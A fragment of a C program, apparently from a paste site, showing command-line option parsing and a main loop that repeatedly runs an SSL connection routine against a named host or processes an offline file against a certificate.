  973.             args.hostname = arg;
  974.             break;
  975.         case 'f':
  976.             args.filename = arg;
  977.             break;
  978.         case 'F':
  979.             args.offline_filename = arg;
  980.             break;
  981.         case 'l':
  982.             args.loop_count = strtoul(arg, 0, 0);
  983.             break;
  984.         case 'p':
  985.             args.port = strtoul(arg, 0, 0);
  986.             if (args.port >= 65536) {
  987.                 fprintf(stderr, "%u: bad port number\n", args.port);
  988.                 goto usage;
  989.             }
  990.             break;
  991.         case 'S':
  992.             args.is_rand_size = 1;
  993.             break;
  994.         case 'v':
  995.             args.ip_ver = strtoul(arg, 0, 0);
  996.             switch (args.ip_ver) {
  997.             case 4:
  998.             case 6:
  999.                 break;
  1000.             default:
  1001.                 fprintf(stderr, "%u: unknown IP version (must be 4 or 6)\n",
  1002.                     args.ip_ver);
  1003.                 goto usage;
  1004.             }
  1005.             break;
  1006.         default:
  1007.             fprintf(stderr, "-%c: unknown argument\n", c);
  1008.             goto usage;
  1009.         }
  1010.     }
  1011.     if (args.hostname != 0) {
  1012.         /*
  1013.          * Now run the thread
  1014.          */
  1015.         while (args.loop_count) {
  1016.             int x;
  1017.             x = ssl_thread(args.hostname, &args);
  1018.             if (x < 0)
  1019.                 break;
  1020.         }
  1021.     } else if (args.offline_filename != 0 && args.cert_filename != 0) {
  1022.         process_offline_file(args.cert_filename, args.offline_filename);
  1023.     } else {
  1024.         fprintf(stderr, "no target specified, use \"-t <hostname>\"\n");
  1025.         goto usage;
  1026.     }
  1027.  
  1028.     /*
  1029.      * Finished. We should do a more gracefull close, but I'm lazy
  1030.      */
  1031.     if (args.fp)
  1032.         fclose(args.fp);
  1033.     return 0;
  1034. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement